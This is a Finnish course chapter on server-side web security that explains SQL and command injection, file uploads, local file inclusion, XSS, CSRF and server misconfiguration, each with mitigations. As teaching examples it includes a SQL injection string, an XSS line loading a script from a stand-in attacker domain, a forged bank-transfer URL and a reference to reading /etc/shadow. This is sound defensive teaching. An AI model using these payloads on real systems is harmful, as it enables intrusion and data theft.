Palvelimen haavoittuvuudet

Tässä luvussa käsitellään palvelinpuolen turvallisuutta. Se sisältää tietoja palvelinturvallisuuden yleisistä näkökohdista, esim. tunnetut haavoittuvuudet ja vähentämistoimenpiteet. Käsitellyt asiat ovat keskeisiä verkko- ja mobiiliympäristöissä.

Injektiohaavoittuvuudet

Injektiohyökkäykset tapahtuvat, kun sovelluksessa on riittämätön käyttäjän syötteiden tarkistus. Tällöin hyökkääjälle aukeaa tilaisuus lisätä koodia sovelluksen ohjausvirtaan. Yleisiä verkko- ja mobiilisovellusten injektiohaavoittuvuuksia ovat SQL- ja Shell-injektiot. Käyttäjän syötteiden riittämättömän sanitoinnin vuoksi hyökkääjä pääsee manipuloimaan tietokantapyyntöjä tai komentotulkkikomentoja. Tällaiset hyökkäykset voivat vuotaa tai muuttaa tietokantaan tallennettuja tietoja, tai niillä voidaan syöttää komentoja järjestelmään. Injektiohyökkäysten päätavoitteena on kiertää autentikointi ja paljastaa arkaluonteisia tietoja, esim. kirjautumistietoja, henkilökohtaisia ​​tunnistetietoja tai yritysten arvokasta immateriaaliomaisuutta.

Injektiohaavoittuvuudet voidaan korjata sanitoimalla syötteet asianmukaisesti ja ottamalla käyttöön sopivat ​​pääsynvalvontapolitiikat. Syötteen sanitoinnin tavoitteena on suodattaa pois virheellinen ja vaarallinen syöte. Lisäksi voidaan ottaa käyttöön tiukat pääsynvalvontapolitiikat estämään injektoitua koodia pääsemästä tietoihin ja käsittelemästä tietoja.

SQL-injektio (syventävä)

SQL-injektiohyökkäykset viittaavat tietokantakyselyiden koodi-injektioihin, joihin käytetään relaatiotietokannoissa Structured Query Language (SQL) -kieltä. Monet verkko- ja mobiilisovellukset antavat käyttäjien syöttää tietoja lomakkeiden tai URL-parametrien kautta. SQL-injektio tapahtuu, jos tällaista käyttäjän syötettä ei suodateta koodinvaihtomerkkien varalta ja käytetään sitten SQL-käskyjen muodostamiseen. Jos hyökkääjät pääsevät muokkaamaan SQL-käskyjä, se voi johtaa hyökkääjän tietokantapääsyyn tai tietokannan tietojen manipulointiin.

Esimerkki: k y s e l y = ”SELECT * FROM c r e d i t c a r d s WHERE number = ’u s e r _ i n p u t’; “

Tarkoituksena on hakea luottokorttitiedot tietylle käyttäjälle. Esimerkki odotetusta syötteestä on 123456789. Yllä oleva lause kuitenkin sallii haitalliset arvot user_input -muuttujaan. Hyökkääjä saattaa antaa syötteenä ‘ OR ‘1’=’1, jonka seurauksena kantaan menee käsky:

SELECT * FROM c r e d i t c a r d s WHERE number = ‘1’ OR ‘1’ = ‘1’

Sen sijaan, että vain yhdelle tietylle luottokorttinumerolle haetaan yksityiskohtaiset luottokorttitiedot, haetaan tiedot kaikista tietokantaan tallennetuista luottokorteista. Verkkosovellus, jossa on yllä oleva SQL-injektiohaavoittuvuus, voisi vuotaa arkaluonteisia luottokorttitietoja sovelluksen kaikilta käyttäjiltä.

Yllä olevan SQL-injektion haavoittuvuuden seuraukset voivat näkyä suoraan hyökkääjälle, jos kaikki luottokorttitiedot on lueteltu tulossivulla. SQL-injektion vaikutus voi kuitenkin olla myös piilotettu, eikä se näy hyökkääjälle.

sokea (blind) SQL-injektio, ei näytä haavoittuvuuden tuloksia suoraan hyökkääjälle (esim. koska tuloksia ei ole lueteltu verkkosivustolla). Hyökkäyksen vaikutus saattaa kuitenkin näkyä tarkkailemalla tietoja osana tietokannan tosi-epätosi-vastausta. Hyökkääjät saattavat pystyä määrittämään tosi-epätosi-vastauksen verkkosovelluksen vastauksen ja verkkosivuston näyttötavan perusteella.

toinen aste (second order) Aiemmasta SQL-injektiosta poiketen, toisen asteen hyökkäykset tapahtuvat, kun käyttäjän syöte tallennetaan tietokantaan myöhempää käyttöä varten. Muut sovelluksen osat luottavat tallennettuun käyttäjän syötteeseen käsittelemättä tai suodattamatta sitä kunnolla.

Yksi tapa vähentää SQL-injektiohyökkäyksien vaikutuksia on käyttää valmiita lausekkeita (prepared statements). Niissä käyttäjän syötteitä ei upoteta raaka-SQL-lauseisiin, vaan valmiit lausekkeet käyttävät placeholder-muuttujia käyttäjän syötteiden käsittelemiseen. Nämä muuttujat on rajoitettu tallentamaan tietyn tyyppisiä arvoja ja estävät mielivaltaisten SQL-koodinpätkien syöttämisen. Näitä käytettäessä SQL-injektiohyökkäykset johtavat useimmissa tapauksissa virheellisiin parametriarvoihin, eivätkä toimi hyökkääjän tarkoittamalla tavalla. Esimerkiksi:

k y s e l y = Preparoi_SQL ( ”SELECT * FROM c r e d i t c a r d s WHERE number = ’?’; “)

Kiinnitä_preparoitu_SQL ( k y s e l y, string, u s e r _ i n p u t )

Tällöin muuttujan u s e r _ i n p u t sisältämä merkkijono menee kokonaisuudessaan SQL-kyselyssä tapahtuvaan vertailuun.

Monet verkkosovelluskehykset tukevat valmiita lausekkeita koodaustasolla esim. Object Relational Mapping (ORM) -rajapintojen kautta. ORM:t luovat tietokantalausekkeita koodista, jolloin kehittäjien ei tarvitse kirjoittaa SQL-kyselyitä itse.

Toinen vähentämistapa on merkitä (escaping) käyttäjän syötteestä merkit, joilla on erityinen merkitys SQL-lauseissa. Tämä tapa on kuitenkin virhealtis. Monet sovellukset, joissa on käytössä SQL-escaping, ovat edelleen alttiina SQL-injektiohyökkäyksille. Virheiden syynä ovat usein epätäydelliset luettelot merkeistä, jotka pitäisi escapoida. Kun escapingia käytetään, kehittäjien tulisi käyttää verkkosovelluskehysten tarjoamia toimintoja (esim. PHP:n mysqli_real_escape_string()-funktio) sen sijaan, että toteutetaan omia escaping-funktioita.

Komentoinjektiot (syventävä)

Komentoinjektiohyökkäys vaikuttaa haavoittuviin sovelluksiin, joissa voidaan hyödyntää mielivaltaisten komentojen suorittamista verkkosovelluksen isäntäkäyttöjärjestelmässä. Samaan tapaan kuin SQL-injektiohyökkäyksissä, komentojen lisäykset ovat useimmiten mahdollisia, koska käyttäjän syötteiden validointi on riittämätöntä. Haavoittuvat komennot suoritetaan yleensä isäntäsovelluksen oikeuksilla.

Esimerkki komentoinjektiohyökkäyksestä on verkkosovellus, joka muuntaa käyttäjän toimittamia kuvia toiseen muotoon kutsumalla komentoriviohjelmaa, jolle annettavat parametrit, kuten tiedostonimi ja asetukset, voivat sisältää haitallista koodia. Tämä voi antaa hyökkääjille mahdollisuuden hyödyntää riittämätöntä syötteen tarkistusta. Tällöin hyökkääjä pääsee laajentamaan alkuperäistä komentoa tai ajamaan lisäkomentoja.

Komentoinjektioita torjutaan rakentamalla komennot siten, että hyökkääjille ei jää tilaa käyttää hyväkseen haitallisia merkkijonosyötteitä. Syötteen tarkistamisen lisäksi suositellaan pienimpien oikeuksien periaatetta sekä järjestelmäkomentojen ja kutsuvan sovelluksen oikeuksien rajoittamista. Kutsuttavien järjestelmäkomentojen määrää tulee rajoittaa käyttämällä määrämuotoisia merkkijonoliteraaleja käyttäjän syöttämien raakamerkkijonojen sijaan. Turvallisuuden lisäämiseksi suositellaan säännöllistä koodin tarkistusta ja haavoittuvuustietokantojen (esim. CVE-tietokanta) seuraamista uusien haavoittuvuuksien varalta. Jos on mahdollista, järjestelmäkomentojen suorittamista tulisi välttää kokonaan. Sen sijaan API-kutsujen käyttöä suositellaan.

Käyttäjän palvelimelle lataamat tiedostot (syventävä)

Kaikkia käyttäjien palvelimelle lataamia tiedostoja (esim. kuvat, PDF-tiedostot), tulisi käsitellä varoen. Haitalliset tiedostot voivat käynnistää ei-toivottujen komentojen suorittamisen palvelimen käyttöjärjestelmässä, ylikuormittaa järjestelmää, laukaista asiakaspuolen hyökkäyksiä tai turmella haavoittuvia sovelluksia.

Esimerkkisovellus voisi olla some-sovellus, jossa käyttäjät voivat ladata avatar-kuvansa palvelimelle. Verkkosovellus on haavoittuvainen, jos käyttäjän syöttämiä avatar-tiedostoja ei tarkisteta. Haittaan pyrkivä käyttäjä voisi ladata palvelimelle kuvatiedoston sijasta esim. PHP-koodia sisältävän avatar1.php. Tiedoston käsitteleminen saattaisi pyytää palvelinta käsittelemään sen suoritettavana PHP-tiedostona. Tällaisella haavoittuvuudella hyökkääjät voivat suorittaa koodia palvelimella PHP-prosessin oikeuksilla ja hallita muille sovelluksen käyttäjille tarjottavaa sisältöä.

Käyttäjien lataamien tiedostojen kautta tapahtuvien hyökkäysten estämiseksi metatietoja (esim. tiedostonimet) ja käyttäjien lataamien tiedostojen sisältöä on rajoitettava ja suodatettava, esim. etsimällä haittaohjelmia ladatuista tiedostoista. Tiedostonimet ja polut tulisi rakentaa käyttämällä merkkijonoliteraaleja raakamerkkijonojen sijaan. Asianmukaisia mime-tyyppejä HTTP-vastauksille tulisi käyttää aina kun mahdollista. Tiedostot, jotka ovat vain ladattavissa ja joita ei näytetä selaimessa, voidaan merkitä Content-Disposition HTTP-vastausotsikolla. Toinen ratkaisu on palvella tiedostoja eri domainista. Jos domain ei ole alkuperäisen domainin aliverkkotunnus, SOP estää haitallisen tiedoston pääsyn evästeisiin ja muuhun kriittisten tietoon. Lisäksi JavaScript- ja HTML-tiedostot ovat myös SOP:n suojaamia.

Local file inclusion (syventävä)

Tämän tyyppinen haavoittuvuus on erityinen muoto aiemmista komentoinjektioista tai käyttäjien lataamien tiedostojen haavoittuvuuksista. Hyökkäyksessä voidaan esimerkiksi hyödyntää komentoinjektiota, käyttää virheellisestä tietokantapolkua tai manipuloitua tiedostonimeä. Hyökkäyksessä tiedostopolku voidaan muotoilla osoittamaan palvelimella olevaan paikalliseen tiedostoon, esim. .htaccess -tiedostoon tai /etc/shadow -tiedostoon. Haavoittuva verkkosovellus käyttääkin haitallista tiedostopolkua ja oikean tiedoston lataamisen sijaan lukee ja lähettää hyökkääjän valitseman tiedoston sisällön, esim. vuotaa /etc/shadowfile -tiedoston kirjautumistiedot.

Tiedostopolun parametrien, kuten / ja .. sanitoinnin lisäksi käyttäjän syötteen käsittelyssä on suositeltavaa käyttää vähimpien oikeuksien periaatetta. Verkkosovelluksella tulee olla minimaaliset oikeudet ja pitää huolehtia, ettei sillä ole pääsyä arkaluonteisiin tiedostoihin.

Cross-Site Scripting (XXS) (syventävä)

Cross-Site Scripting (XSS) -hyökkäykset hyödyntävät injektiohaavoittuvuuksia, joilla hyökkääjät lisäävät haitallisia skriptejä (esim. JavaScriptiä) verkkosivustoille. Hyökkääjän pitää päästä lähettämään asiakasskripti verkkosovellukseen, joka jakaa haitallisen koodin muille loppukäyttäjille. Esim. viestifoorumit, jotka vastaanottavat käyttäjien sisältöä ja näyttävät sen muille käyttäjille, ovat alttiita XSS-hyökkäyksille. XSS-haavoittuvuuksien juurisyy ovat verkkosovellukset, jotka eivät käytä kunnollista syötteiden tarkistusta. Validoimattomat käyttäjän toimittamat tiedot voivat sisältää asiakasskriptejä. Kun syötettä ei tarkisteta, yhden käyttäjän aiemmin toimittamaa haitallista JavaScriptiä saatetaan jakaa muille käyttäjille. Tällöin se voi manipuloida muiden käyttäjien näkemää verkkosivustoa tai varastaa arkaluonteisia tietoja. XSS-hyökkäyksessä asiakasselain ei pysty havaitsemaan haitallista koodia, koska koodin lähettäjä on alkuperäinen isäntä, ts. samaan alkuperään perustuvat turvatoimenpiteet ovat tehottomia. On olemassa kahden tyyppisiä XSS-hyökkäyksiä:

varastoitu (stored) Varastoidussa XSS-hyökkäyksessä haitallinen skripti tallennetaan pysyvästi kohdepalvelimelle (esim. tietokantaan) ja jaetaan uhreille aina, kun he pyytävät html-dokumenttia esimerkiksi viestifoorumilta, jossa johonkin kommenttikenttään on upotettu skripti, jonka selain sitten ajaa (vaikkapa <script src=’http://pahis.com/attack.js’/>) Varastoituja XSS-hyökkäyksiä kutsutaan myös pysyviksi tai type-I XSS:iksi.

heijastettu (reflected) Heijastuneessa XSS-hyökkäyksessä skriptiä ei tallenneta pysyvästi kohdepalvelimelle, vaan palvelin heijastaa sen uhreille. Heijastamiseen käytetään eri kanavia. Yleinen heijastustapa on luoda linkki kohdesivustolle. Linkki sisältää skriptin, ja linkin napsauttaminen suorittaa haitallisen skriptin verkkosivuston skriptisuorituskontekstissa. Heijastuneita XSS-hyökkäyksiä kutsutaan myös ei-pysyväksi tai type-II XSS:ksi.

Molempien XSS-hyökkäystyyppien estäminen edellyttää tiukkaa käyttäjän syötteiden validointia. Tehokkain tapa syötteiden validoinnissa on whitelist-lähestymistapa, joka kieltää kaikki syötteet, joita ei ole erikseen sallittu. Turvalliseen entiteettienkoodaukseen suositellaan security encoding -kirjaston käyttöä, koska enkooderien kirjoittaminen on vaikeaa ja koodin tarkistus yhdessä staattisten koodianalyysityökalujen kanssa on myös kallista.

XSS-haavoittuvuuksien poistaminen kokonaan on vaikeaa, koska käyttäjän syötteen sanitoiminen saattaa olla hyvinkin hankalaa. Yksi lupaava lähestymistapa on satunnaisen etuliitteen lisääminen kaikkiin HTML-tageihin ja -attribuutteihin. Verkkosovellus ilmoittaa tämän ja selain voi karsia kaiken, missä etuliitettä ei ole. Jäljelle jäävästä aukeaa etuliitteen poiston jälkeen palvelimen tuottama (ilmeisesti hyvänlaatuinen ja luotettu) HTML. Niin kauan kuin hyökkääjä ei osu arvauksellaan oikeaan etuliitteeseen, asiakkaat voivat erottaa luotetut skriptit epäluotetuista.

Cross-Site Request Forgery (CSRF) (syventävä)

Cross Site Request Forgery (CSRF) -hyökkäykset johdattavat uhrit lähettämään haitallisia HTTP-pyyntöjä palvelimille. Haitallinen pyyntö suoritetaan käyttäjän puolesta käyttäjän identiteetillä ja käyttöoikeuksilla. CSRF-hyökkäykset ovat vaarallisia, koska useimmat palvelimille lähetetyt pyynnöt sisältävät käyttäjän identiteettiin liittyviä valtuutustietoja (salasanat, käyttäjätunnukset, sessiotokenit) sekä istuntotietoja esim. evästeitä. Autentikoidut käyttäjät ovat erityisen houkuttelevia uhreja hyökkääjille, koska palvelimien voi olla vaikea erottaa hyvänlaatuiset ja haitalliset pyynnöt, kunhan ne lähetetään uhrin koneelta. CSRF-hyökkäykset eivät salli hyökkääjille helppoa pääsyä palvelimen haitalliseen pyyntöön antamaan vastaukseen. Siksi CSRF-hyökkäyksen päätavoite on huijata uhrit lähettämään tilanmuutospyyntöjä palvelimille. Esim. uhrin käyttäjä tietoja ja salasanoja muuttavat pyynnöt tai jonkin ostamiseen liittyvät pyynnöt ovat houkuttelevia kohteita.

Esimerkki: Verkkopankki

Liisa haluaa siirtää 50 euroa Pekalle käyttämällä verkkopankkisivustoa, jossa on CSRF-haavoittuvuus. Legitiimi pyyntö Liisaksi autentikoidulle käyttäjälle voisi olla esim. GET https://myonlinebank.net/transaction?to=pekka&value=50. Ensimmäisessä vaiheessa hyökkääjä voisi luoda haitallisen URL-osoitteen, kuten https://myonlinebank.net/transaction?to=attacker&value=50, jossa korvataan Pekan tili hyökkääjän tilillä. Toisessa vaiheessa hyökkääjän pitää huijata Liisa lähettämään haitallinen pyyntö verkkoselaimellaan. Hyökkääjä voisi esim. lähettää roskapostiviestin, joka sisältää haitallisen pyynnön linkkinä. Jos Liisa napsauttaa linkkiä, hyökkäys onnistuu, ja rahat siirtyvät. CSRF-hyökkäykset eivät rajoitu ainoastaan HTTP GET -pyyntöihin, vaan niitä voidaan tehdä myös POST-pyyntöjen kautta, esim. luomalla haitallisia <form>-tageja.

CSRF-hyökkäysten yhteydessä monet väärinkäsitykset johtavat tehottomiin vastatoimiin. CSRF-hyökkäyksiä ei voida estää käyttämällä salaisia evästeitä, koska kaikki evästeet lähetetään uhrilta palvelimelle. Myös HTTPS:n käyttö on tehotonta niin kauan kuin uhri lähettää haitallisen pyynnön, koska protokollalla ei ole väliä. Myös POST-pyyntöjen käyttö arkaluontoisille tiedoille on riittämätöntä, koska hyökkääjät voivat luoda HTML-lomakkeita, joissa on piilotettuja kenttiä. Jotta CSRF-hyökkäyksiä voidaan estää tehokkaasti, arkaluontoisiin pyyntöihin tulisi sisällyttää satunnaistettuja tokeneita, esim. lisäämällä ne pyyntöjen headereihin. Tokenien on oltava istuntokohtaisia ja ne on luotava turvallisella satunnaislukugeneraattorilla, jotta hyökkääjät eivät pysty ennustamaan niitä. Palvelimet eivät saa hyväksyä pyyntöjä autentikoiduilta asiakkailta, jos pyyntö ei sisällä validia tokenia.

Palvelimen virheellinen konfigurointi ja haavoittuvat komponentit (syventävä)

Verkkosovelluspino koostuu useista osista, kuten verkkopalvelimista, verkkosovelluskehyksistä, tietokantapalvelimista, palomuurijärjestelmistä, kuormantasaajista ja välityspalvelimista. Verkkosovellusten turvallisuus riippuu kunkin mukana olevan komponentin turvallisuudesta. Yksikin suojaamaton komponentti riittää usein antamaan hyökkääjälle pääsyn verkkosovellukseen ja sitten jatkamaan hyökkäystään sisältäpäin. Tästä syystä suojatun verkkosovelluksen käyttöönotto ja ylläpito vaatii enemmän kuin keskittymistä pelkästään sovelluksen koodiin. Jokainen verkkosovelluspinon komponentti on konfiguroitava turvallisesti ja pidettävä ajan tasalla.

Heartbleed-haavoittuvuus Heartbleed on kuuluisa esimerkki kriittisestä haavoittuvuudesta, joka vaikutti moniin verkkosovelluspinoihin vuonna 2014. Heartbleed oli laajalti käytetyn OpenSSL-kirjaston haavoittuvuus ja sai verkkopalvelimet vuotamaan muistiin tallennettuja tietoja. Tämä sisälsi TLS-sertifikaattitietoja, esim. yksityiset avaimet, yhteyden salaustiedot, ja kaikki käyttäjän ja palvelimen välittämät tiedot, esim. salasanat, käyttäjätunnukset ja luottokorttitiedot. Korjatakseen ongelmalliset järjestelmät järjestelmänvalvojien oli päivitettävä OpenSSL-kirjastonsa mahdollisimman nopeasti ja lisäksi mielellään myös peruutettava sertifikaatit ja kehotettava käyttäjiä vaihtamaan salasanansa.

HTTPS:n virheellinen konfigurointi Yksi web- ja mobiilitietoturvan kulmakivi on HTTPS:n oikea ja turvallinen konfigurointi verkkopalvelimissa. Tutkimuksissa on kuitenkin havaittu, että huomattava määrä suosittuja verkkosivustoja käyttää virheellisiä varmenteita, joiden sertifikaattiketjut ovat epätäydellisiä, jotka on myönnetty väärälle isäntänimelle, tai jotka ovat vanhentuneet. Tutkimuksissa on kysytty verkkosivustojen ylläpitäjiltä syitä virheellisten sertifikaattien käyttöön. Useimmat operaattorit eivät olleet tietoisia virheellisen sertifikaatin käyttämisestä tai käyttivät niitä tarkoituksella, koska he eivät luottaneet verkko-PKI:hen. Tutkimuksissa on myös havaittu, että operaattoreilla on vaikeuksia konfiguroida HTTPS oikein tai heillä on vääriä käsityksiä HTTPS:n turvallisuusominaisuuksista.

Vähimpien oikeuksien periaate voi vähentää valtavasti verkkosovelluksen hyökkäyspintaa. Tästä esimerkkinä toimivat oikeanlaiset palomuuri- ja kuormantasaajakonfiguraatiot.

Palomuuri

Verkkopalvelimen suojaamiseksi palomuuri tulee konfiguroida sallimaan pääsy ulkopuolelta vain sinne, missä pääsyä tarvitaan. Internetin kautta tulevia HTTP-pyyntöjä varten pääsy tulee rajoittaa portteihin 80 ja 443. Järjestelmän konfigurointiportit SSH:lle ja vastaaville tulee rajata sisäiseen verkkoon.

Kuormantasaajat

Kuormantasaaja (load balancer) on laajalti käytetty komponentti monissa verkkosovelluksissa. Kuormantasaajat ohjaavat HTTP-liikennettä palvelimien ja asiakkaiden välillä ja tarjoavat pääsynvalvontalisän verkkosovellusresursseille. Niitä voidaan käyttää ohjaamaan pyyntöjä ja vastauksia eri web-palvelimiin tai -portteihin, tasapainottamaan liikennettä useiden verkkopalvelimien välillä ja suojaamaan verkkosivuston alueita lisäpääsynvalvontamekanismeilla. Yleisin tapa hallita pääsyä on .htaccess-tiedostojen käyttö. Ne voivat rajoittaa pääsyä alkuperäisen verkkopalvelimen sisältöön ja ohjeistaa kuormantasaajia vaatimaan lisäautentikointia.

Kuormantasaajat voivat toimia myös nopeusrajoittimena. Ne voivat rajoittaa pyynnön kokoa, sallittuja pyyntömenetelmiä ja polkuja tai määrittää aikakatkaisuja. Nopeusrajoittimen pääasiallinen käyttötarkoitus on vähentää palvelunestohyökkäysten mahdollisia negatiivisia vaikutuksia verkkopalvelimeen ja estää käyttäjiä lähettämästä roskapostia järjestelmiin sekä rajoittaa ja estää odottamatonta toimintaa.

Lisäksi kuormantasaajia voidaan käyttää turvallisten TLS-yhteyksien tarjoamiseen verkkosovelluksille. Kuormantasaajat voivat toimia verkkoyhteyden päätepisteenä TLS-salaukselle ja muodostaa uusia TLS-yhteyksiä sovelluspalveluun tai vaihtoehtoisesti muodostaa yhteyden verkkosovelluspalvelimeen käyttämällä tavallista HTTP:tä. Jos verkkosovelluspalvelinta ei isännöidä samassa koneessa, tavallisten verkkoyhteyksien käyttäminen saattaa vuotaa tietoja sisäiseen verkkoon. Jos verkkosovelluspalvelin ei kuitenkaan tarjoa itse HTTPS:ää, kuormantasaajan käyttäminen TLS-päätepisteenä lisää turvallisuutta.

Tietokannat

Monet verkkosovellukset sisältävät tietokantoja käyttäjätietojen pysyvään tallentamiseen. Usein tietokantoja käytetään lisäpalveluna, jota isännöidään toisella palvelimella. Sovelluspalvelin on vuorovaikutuksessa tietokannan kanssa kirjastojen ja rajapintojen kautta. On tärkeää estää palvelimen injektiohaavoittuvuudet. Lisäksi virheet tietokantakirjastojen toteutuksessa tai sovelluksen vaatimat käyttöoikeudet voivat johtaa haavoittuvuuksiin.

Hyökkäysvektorin vähentämiseksi useimmat tietokantajärjestelmät tarjoavat käyttäjien hallinnan ja rajoittavat käyttäjien oikeuksia luoda, lukea, poistaa tai muokata tietoja tauluissa ja tietokantojen välillä. Tällä tavalla voidaan luoda yksi tietokanta sovellusta kohden ja sovelluspalvelin voi käyttää tiettyjä käyttäjiä, joilla on vain luku-oikeudet.

Tärkeä näkökohta tietokannan turvallisuuden lisäämisessä on päätös tietojen tallentamisesta. Tietojen salaus ennen tallennusta tietokantaan voi auttaa. Tiivistäminen ennen tallennusta lisää turvallisuutta, kun riittää vain vertailla samanlaisuutta, kuten on etenkin salasanojen tapauksessa. Tietovuodon sattuessa arkaluontoisia tietoja ei pystytä lukemaan. Salasanojen turvalliseen tallentamiseen verkko- ja mobiilisovellusten kehittäjiä suositellaan käyttämään turvallisia hash-funktioita (esim. Argon2 tai PBKDF2) yhdessä kryptografisesti vahvan kredentiaalikohtaisen suolan kanssa. Suola on kryptografisesti vahva kiinteän pituinen satunnaisarvo, ja se on luotava uudelleen jokaiselle kredentiaalille.

Salasanavuodot Kehittäjillä on pahana tapana tallentaa selkokielisiä salasanoja, luottokorttitietoja tai muita arkaluonteisia tietoja tietokantoihin sen sijaan, että tietoja salattaisiin tai tiivistettäisiin. Siksi monet salasanatietokantojen tai luottokorttitietojen vuodot vaarantavat käyttäjät. Nykyaikaiset selaimet ja salasananhallintaohjelmat auttavat käyttäjiä välttämään salasanoja, jotka ovat olleet osa aiempaa tietomurtoa.

Palautusta lähetetään...